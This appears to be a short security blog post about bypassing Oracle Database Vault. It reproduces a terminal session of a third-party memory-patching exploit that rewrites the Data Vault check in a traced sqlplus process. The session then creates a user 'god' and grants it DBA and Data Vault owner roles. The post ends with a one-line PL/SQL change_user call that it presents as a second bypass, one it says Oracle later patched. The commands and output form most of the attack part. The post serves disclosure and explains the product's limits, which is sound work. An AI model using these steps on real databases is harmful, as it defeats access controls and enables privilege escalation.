Few days ago Jakub Wartak has posted an [1] exploit showing how to switch DV off on his [2] blog.Jakub describes that he was surprised that Data Vault does not protect from OS side. That’s something many people are not aware of. Oracle Data Vault is not designed to protect from normal DBAs (with OS access).Here the usage of his exploit:

[oracle@xeno ora_dv_mem_off]$ !gcc
gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
ora_dv_mem_off.c: In function ‘locate_dv_func’:
ora_dv_mem_off.c:92: warning: initialization discards qualifiers from pointer
target type
ora_dv_mem_off.c:93: warning: initialization makes pointer from integer
without a cast

[oracle@xeno ora_dv_mem_off]$ ./ora_dv_mem_off
[17035] starting to trace sqlplus process (17036)
[***] NOW TYPE IN SQLPLUS: conn / as sysdba
[17035] execve() syscall in 17036

SQL*Plus: Release 10.2.0.3.0 - Production on Wed Feb 27 18:56:55 2008

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

SQL> conn / as sysdba
[17035] clone() syscall in 17036, tracing orapid=17037
[17035] execve() syscall in 17037,
[17035] symbol “kzvtins” at 0xb185820
[***] sucessfuly validated function, DatabaseVault=1
[***] attempting to rewrite memory at 0xb185824
Connected.
SQL> create user god identified by abc;

User created.

SQL> grant dba,dv_admin,dv_owner,connect,resource to god;

Grant succeeded. 

Here is another (easier) way to bypass Data Vault without installing/compiling software. I found this issue a few months ago (in Oracle 11.1.0.6). After contacting secalert they told me that this issue was already fixed in Oracle CPU July 2008 (but not documented):

– run as user with DBA privleges 

SQL>  exec sys.kupp$proc.change_user(’DVA’);

PL/SQL procedure successfully completed.